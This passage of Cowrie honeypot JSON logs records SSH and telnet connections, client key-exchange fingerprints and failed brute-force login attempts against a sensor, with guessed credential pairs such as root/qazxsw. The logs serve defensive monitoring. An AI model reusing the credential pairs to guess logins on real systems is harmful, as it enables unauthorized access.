dsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:21:27.422498Z","src_ip":"34.39.58.191","session":"46bc1bc0aca2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devtest","password":"12345678","message":"login attempt [devtest/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:21:27.753669Z","src_ip":"34.39.58.191","session":"46bc1bc0aca2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:21:28.670400Z","src_ip":"14.103.123.67","session":"e979b2e5d02e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:21:28.830845Z","src_ip":"34.39.58.191","session":"46bc1bc0aca2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"phpmyadmin","password":"root","message":"login attempt [phpmyadmin/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:21:32.095009Z","src_ip":"14.103.123.67","session":"e979b2e5d02e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.8","message":"Connection lost after 6.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:21:33.895904Z","src_ip":"14.103.123.67","session":"e979b2e5d02e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.206.186","src_port":44468,"dst_ip":"159.203.135.109","dst_port":22,"session":"63c5e99a3ddb","protocol":"ssh","message":"New connection: 43.160.206.186:44468 (159.203.135.109:22) [session: 63c5e99a3ddb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:21:58.246373Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:21:58.251215Z","src_ip":"43.160.206.186","session":"63c5e99a3ddb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:21:58.496698Z","src_ip":"43.160.206.186","session":"63c5e99a3ddb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qq2ww3ee","message":"login attempt [root/1qq2ww3ee] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:21:59.511607Z","src_ip":"43.160.206.186","session":"63c5e99a3ddb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51884,"dst_ip":"159.203.135.109","dst_port":22,"session":"a60e7d9c4e82","protocol":"ssh","message":"New connection: 159.203.92.129:51884 (159.203.135.109:22) [session: a60e7d9c4e82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:22:00.124083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:22:00.129250Z","src_ip":"159.203.92.129","session":"a60e7d9c4e82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:22:00.145740Z","src_ip":"159.203.92.129","session":"a60e7d9c4e82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"abspladmin","password":"abspladmin","message":"login attempt [abspladmin/abspladmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:22:00.160630Z","src_ip":"159.203.92.129","session":"a60e7d9c4e82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:22:00.763849Z","src_ip":"43.160.206.186","session":"63c5e99a3ddb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:22:01.167346Z","src_ip":"159.203.92.129","session":"a60e7d9c4e82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.39.58.191","src_port":59292,"dst_ip":"159.203.135.109","dst_port":22,"session":"76bcf5807a16","protocol":"ssh","message":"New connection: 34.39.58.191:59292 (159.203.135.109:22) [session: 76bcf5807a16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:22:20.708527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:22:20.713109Z","src_ip":"34.39.58.191","session":"76bcf5807a16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:22:20.787720Z","src_ip":"34.39.58.191","session":"76bcf5807a16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root2026.","message":"login attempt [root/Root2026.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:22:21.116517Z","src_ip":"34.39.58.191","session":"76bcf5807a16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:22:22.194408Z","src_ip":"34.39.58.191","session":"76bcf5807a16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.43.134.59","src_port":4910,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d4089a51d2b","protocol":"telnet","message":"New connection: 89.43.134.59:4910 (159.203.135.109:23) [session: 1d4089a51d2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:22:31.475000Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41604,"dst_ip":"159.203.135.109","dst_port":22,"session":"21bda13f5131","protocol":"ssh","message":"New connection: 159.203.92.129:41604 (159.203.135.109:22) [session: 21bda13f5131]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:22:44.379154Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:22:44.384133Z","src_ip":"159.203.92.129","session":"21bda13f5131","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:22:44.389252Z","src_ip":"159.203.92.129","session":"21bda13f5131","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"abuse","password":"123","message":"login attempt [abuse/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:22:44.400898Z","src_ip":"159.203.92.129","session":"21bda13f5131","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.43.134.59","src_port":30698,"dst_ip":"159.203.135.109","dst_port":23,"session":"1097025f45e5","protocol":"telnet","message":"New connection: 89.43.134.59:30698 (159.203.135.109:23) [session: 1097025f45e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:22:44.802015Z"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:22:45.447274Z","src_ip":"159.203.92.129","session":"21bda13f5131","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.206.186","src_port":36250,"dst_ip":"159.203.135.109","dst_port":22,"session":"f9785dfb526b","protocol":"ssh","message":"New connection: 43.160.206.186:36250 (159.203.135.109:22) [session: f9785dfb526b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:22:56.379070Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:22:56.390690Z","src_ip":"43.160.206.186","session":"f9785dfb526b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:22:56.640421Z","src_ip":"43.160.206.186","session":"f9785dfb526b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazxsw2#EDC","message":"login attempt [root/1qazxsw2#EDC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:22:57.652848Z","src_ip":"43.160.206.186","session":"f9785dfb526b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:22:58.901271Z","src_ip":"43.160.206.186","session":"f9785dfb526b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.39.58.191","src_port":45918,"dst_ip":"159.203.135.109","dst_port":22,"session":"ffdf2b1c0349","protocol":"ssh","message":"New connection: 34.39.58.191:45918 (159.203.135.109:22) [session: ffdf2b1c0349]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:23:14.209176Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:23:14.214139Z","src_ip":"34.39.58.191","session":"ffdf2b1c0349","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:23:14.314231Z","src_ip":"34.39.58.191","session":"ffdf2b1c0349","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazxsw","message":"login attempt [root/qazxsw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:23:14.642141Z","src_ip":"34.39.58.191","session":"ffdf2b1c0349","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:23:15.719487Z","src_ip":"34.39.58.191","session":"ffdf2b1c0349","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":54882,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f747f764113","protocol":"ssh","message":"New connection: 2.57.122.238:54882 (159.203.135.109:22) [session: 6f747f764113]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:23:27.671928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:23:27.676695Z","src_ip":"2.57.122.238","session":"6f747f764113","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS